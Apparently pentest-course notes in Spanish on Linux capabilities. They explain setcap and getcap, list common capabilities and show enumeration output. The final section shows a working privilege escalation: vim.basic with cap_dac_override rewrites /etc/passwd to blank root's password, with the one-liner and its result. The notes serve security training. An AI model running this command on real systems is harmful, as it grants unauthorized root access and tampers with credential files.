Capabilities


Las capacidades son una característica de seguridad en el sistema operativo Linux que permite otorgar privilegios específicos a los procesos, brindando un control más preciso sobre las acciones que pueden realizar los programas en el sistema. Esta característica mejora la seguridad al permitir que se otorguen permisos de manera más granular, en lugar de depender del modelo tradicional basado en usuarios y grupos.


Comando para Configurar Capacidades:

sudo setcap cap_net_bind_service=+ep /usr/bin/vim.basic

Este comando le otorga al ejecutable /usr/bin/vim.basic la capacidad de enlazarse a puertos de red, una acción restringida normalmente a los procesos con privilegios elevados.


Capacidad

Descripción

cap_sys_admin

Permite acciones con privilegios administrativos como modificar archivos del sistema.

cap_sys_chroot

Permite cambiar el directorio raíz del proceso.

cap_sys_ptrace

Permite depurar otros procesos, lo que puede exponer información confidencial.

cap_sys_nice

Permite cambiar la prioridad de los procesos.

cap_sys_time

Permite modificar el reloj del sistema.

cap_sys_resource

Permite modificar los límites de recursos del sistema.

cap_net_bind_service

Permite vincular un proceso a puertos de red.

Comando de Enumeración de Capacidades

find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

Este comando busca todos los ejecutables en los directorios comunes y luego usa getcap para mostrar las capacidades asignadas a cada binario.

Matthewzx@htb[/htb]$ find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

/usr/bin/vim.basic cap_dac_override=eip
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep

Explotación


Cuando se obtiene acceso con una cuenta con privilegios bajos, puede encontrarse una capacidad como cap_dac_override en un binario. Esta capacidad permite al binario omitir las verificaciones de permisos en archivos y realizar cambios en archivos del sistema. Un ejemplo sería:

Matthewzx@htb[/htb]$ getcap /usr/bin/vim.basic

/usr/bin/vim.basic cap_dac_override=eip
  • Con esta capacidad, un atacante podría modificar archivos como /etc/passwd para escalar privilegios y obtener acceso root sin necesidad de contraseñas, por ejemplo:

/usr/bin/vim.basic /etc/passwd

También podemos realizar estos cambios en un modo no interactivo:

Matthewzx@htb[/htb]$ echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
Matthewzx@htb[/htb]$ cat /etc/passwd | head -n1

root::0:0:root:/root:/bin/bash

Last updated